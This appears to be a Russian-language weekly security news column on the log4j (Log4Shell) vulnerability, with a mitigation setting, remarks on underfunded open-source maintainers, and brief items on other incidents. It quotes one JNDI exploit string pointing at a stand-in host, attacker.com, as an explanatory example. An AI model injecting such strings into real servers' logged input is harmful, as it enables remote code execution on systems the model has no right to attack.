Дыру в log4j часто сравнивают с уязвимостью 2014 года. Тогда в библиотеке OpenSSL была обнаружена ошибка, приводящая к утечке данных из памяти. Она позволяла удаленно и скрытно извлекать секреты, и также принесла администраторам систем массу проблем. Сложно было не столько обнаружить все уязвимые инсталляции, сколько определить, какие данные теоретически могли быть похищены. У Heartbleed и безымянной (не считая в MS Paint) уязвимости в log4j есть и еще один общий момент: это открытые проекты, разрабатываемые в условиях перманентной нехватки ресурсов.
Ссылки по теме:
- на Хабре.
- Запись в базе данных MITRE.
- в блоге компании Cloudflare с описанием уязвимости.
- От них же — по попыткам эксплуатации.
- в баг-трекере Apache.
- Обновляемый в блоге компании Lunasec с примерами кода.
- Подробное 2016 года, в котором описываются общие методы эксплуатации уязвимостей, подобных обнаруженной в log4j.
${jndi:ldap://attacker.com/a}
|
Проблема заключается в том, что log4j никак не ограничивал прием данных — они могли быть загружены откуда угодно. Более того, строка обрабатывалась при обнаружении в логах (а не только, например, в конфигурационных файлах, которые контролирует только администратор), то есть у потенциального атакующего появлялась возможность направить log4j на вредоносный объект и выполнить его на сервере жертвы. Уязвимость закрыта в версии 2.15.0, но еще какое-то время потребуется на включение обновленной библиотеки в использующее ее программное обеспечение. Временное решение до установки патча — отключить уязвимую функциональность:
JAVA_OPTS="-Dlog4j.formatMsgNoLookups=true" |
Уязвимого софта, использующего log4j, много. Есть как очевидные примеры (фреймворк Apache Struts), так и нетривиальные (ПО для реверс-инжиниринга Ghidra).
Первые публичные сообщения об эксплуатации уязвимости и вовсе пошли от владельцев игровых серверов — там для взлома оказалось достаточно сбросить волшебное заклинание в чат. Отсюда и высочайшая оценка опасности данной проблемы: оказаться в логах можно разными путями, иногда простейшими. Ввести строку-запрос к вредоносному серверу вместо имени пользователя или даже подключиться к серверу, передав код в поле user-agent. В ближайшее время мы наверняка узнаем и о менее очевидных способах эксплуатации. Проблема настолько серьезная, что компания Cloudflare начала фильтровать характерные запросы в трафике для всех своих клиентов.
Уязвимость в log4j вновь поднимает вопрос нехватки ресурсов при разработке стратегически важного кода. В твите выше приведена цитата от одного из разработчиков log4j, который работает над проектом «в свободное время». Не получившие достаточного внимания «общественные» проекты потом используются в крупных коммерческих решениях, что в результате и приводит к драме прошлой недели. Когда обнаруживается ошибка, добровольцы-мейнтейнеры ничего, кроме проклятий, не получают, и с этим, кажется, надо что-то делать. А пока выходит классическая ситуация из комикса XKCD:
Что еще произошло:
Своего рода антитеза к описанному выше пожару: 8 декабря идентификатор CVE стандартной фиче в Raspberry Pi OS. Многим известно, что из коробки эта система получает стандартного пользователя pi с паролем raspberry. И нет, эту «проблему» нельзя просто так взять и эксплуатировать, так как сервер ssh для удаленного доступа по умолчанию выключен. В обсуждениях уже назвали создание CVE для такой банальности дурацким хайпом, но есть нюанс. Raspberry Pi хоть и является любительским микрокомпьютером, однако вполне может оказаться в составе корпоративной инфраструктуры. Пароль в таком случае желательно поменять. Можно ли гарантировать, что его будут менять все и всегда? Вряд ли. CVE, таким образом, может служить не откровением о ранее неизвестной прорехе, а пунктом для проверки в списке аудитора безопасности.
Редкое сочетание багов в Android и приложении Microsoft Teams (и только если вы там не залогинены) позвонить с телефона в службы спасения.
Свежее исследование бэкдор, распространяемый в качестве довеска к редактору Notepad++.
Издание Vice про рекламный модуль, внедренный в ряд приложений под Android, который собирал данные о местоположении пользователя, даже если тот запрещал это делать. Скрытая слежка была обнаружена еще в октябре, а на прошлой неделе компания Google потребовала от разработчиков приложений явно декларировать постоянную геолокацию.
